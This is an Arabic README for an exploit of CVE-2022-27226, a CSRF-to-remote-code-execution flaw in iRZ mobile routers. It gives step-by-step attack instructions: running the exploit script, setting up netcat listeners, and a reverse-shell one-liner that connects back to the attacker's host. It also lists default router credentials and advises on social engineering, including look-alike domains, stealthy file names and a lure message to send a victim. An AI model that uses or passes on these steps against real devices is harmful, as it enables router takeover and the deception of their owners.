
استغلال لـ CVE-2022-27226
استغلال لـ CVE-2022-27226
ثغرة تزوير طلب عبر المواقع (CSRF) تؤدي إلى تنفيذ تعليمات برمجية عن بعد في أجهزة التوجيه المحمولة iRZ
<--اكتشاف الثغرة-->
John Jackson
Chris Mack --- [https://github.com/0xHalcyon]
<--تطوير الاستغلال-->
Stephen Chavez --- [https://github.com/redragonx/]
Robert Willis
تسمح مشكلة CSRF في أجهزة التوجيه المحمولة iRZ حتى 2022-03-16 للمهاجم بإنشاء إدخال crontab في لوحة إدارة جهاز التوجيه. سيقوم cronjob بعد ذلك بتنفيذ الإدخال في الفاصل الزمني الذي يحدده المهاجم، مما يؤدي إلى تنفيذ تعليمات برمجية عن بعد، مما يسمح للمهاجم بالوصول إلى نظام الملفات. بالإضافة إلى ذلك، إذا لم يتم تغيير بيانات الاعتماد الافتراضية لجهاز التوجيه أو اكتشف المهاجم بيانات اعتماد صالحة، يمكن تحقيق تنفيذ التعليمات البرمجية عن بعد دون تفاعل المستخدم.
من الضروري تشغيل مستمعين لـ netcat قبل محاولة التقاط شل، وذلك لأن crontab عند تشغيله سيكرر نفس cronjob عدة مرات وستموت الشل الخاصة بك في الدورة التالية. لا يمكنك استخدام nohup لأن بيئة busybox مقيدة إلى حد ما، وبدلاً من ذلك، يمكنك تعديل الاستغلال بفاصل زمني مختلف لإدخال crontab، ومع ذلك فإن أفضل طريقة لتجاوز ذلك دون القلق بشأن فاصل crontab هي استخدام مستمعين متعددين لالتقاط أول شل عكسية.
وقد تم اكتشاف أنه في معظم الحالات، لا يكون منفذ telnet مفتوحًا خارجيًا لأجهزة التوجيه - ومع ذلك، بمجرد الحصول على تنفيذ تعليمات برمجية عن بعد، يمكنك استخدام telnet لإصلاح TTY في الغالب. تحتاج إلى بيانات اعتماد للقيام بذلك. إذا كنت تستخدم سلسلة CSRF الكاملة إلى RCE، فنوصيك ببناء قالب CSRF PoC أكثر شمولاً يسجل حدث تسجيل دخول المستخدم أو الرؤوس التي قد تحتوي على رأس التفويض الأساسي الذي تتم ترجمته في البرنامج النصي.
بيانات الاعتماد الافتراضية لهذه الأجهزة عادة ما تكون root:root أو admin:admin. إذا كانت لديك بيانات اعتماد، قم بتشغيل:
python cve.py
اتبع التعليمات البسيطة، ثم ابدأ اثنين من مستمعي netcat على منفذين منفصلين.
nc -lvp 443
nc -lvp 5000
عندما تلتقط شل عكسية في المستمع الأول، أعد تشغيل الأمر ذو السطر الواحد للشل العكسية للحصول على شل دائمة:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f
أخيرًا، إذا كانت لديك بيانات اعتماد (وينبغي أن تكون لديك إذا كنت تستخدم هذا الجزء من الوحدة) - حاول الانتقال إلى خدمة telnet المقيدة داخليًا:
telnet 0.0.0.0
"لكن ماذا لو كان telnet مكشوفًا خارجيًا؟" ثم قم بتسجيل الدخول إلى جهاز التوجيه اللعين باستخدام بيانات الاعتماد، أيها الغبي.
تعليمات هذه الوحدة هي نفس تعليمات وحدة RCE بعد المصادقة تقريبًا. مع الاختلاف الرئيسي وهو أنك لا تملك بيانات اعتماد.
أولاً وقبل كل شيء، لاستغلال الثغرة بكفاءة، عليك فهم كيفية عمل ذلك. يتطلب CSRF تفاعل المستخدم، مما يعني أنك ستحتاج إلى هندسة اجتماعية لشخص ما. هناك سيناريوهان محتملان: المستخدم مسجل الدخول عند النقر على زر إثبات المفهوم، أو المستخدم غير مسجل الدخول. إذا كانوا قد تمت مصادقتهم بالفعل على جهاز التوجيه، فسيتم إرسال طلب POST لإنشاء مهمة cron إلى API وسيرى المستخدم صفحة فارغة. إذا لم يكونوا مسجلين الدخول، فسيحصل المستخدم على موجه مصادقة أساسية - ومن الملائم أن نافذة المصادقة الأساسية ستحتوي على عنوان IP لجهاز التوجيه الضحية، إذا أدخلوا بيانات اعتمادهم، فسيتم إرسال طلب POST إلى API.
نوصي بمحاولة شراء نطاق مشابه إذا كان جهاز التوجيه الضحية مستضافًا على نطاق فرعي أو العثور على موفر له نفس نطاقات الشبكة الفرعية للخوادم إذا كان الهدف ذو أولوية عالية. قد يكون تحسين إثبات المفهوم CSRF يستحق العناء لهدف ذي أولوية.
قم بتشغيل البرنامج النصي
python cve.py
اتبع التعليمات، في البرنامج النصي، سيقوم بعد ذلك بإنشاء قالب CSRF لك. نوصي بتسميته بشيء أكثر خفاءً.
mv poc.new.html index.html
استضف إثبات المفهوم على خادمك، ويفضل أن يكون على نفس المنفذ الخاص بجهاز التوجيه الضحية.
python3 -m http.server 80
خذ الرابط وأرسله إلى الضحية، مع التأكد من إضافة اسم ملف إثبات المفهوم إلى نهاية عنوان URL:
Hi sweetie, can you login to router pwease:
http://your-ip-in-the-united-states-bcuz-you-didnt-take-my-advice/index.html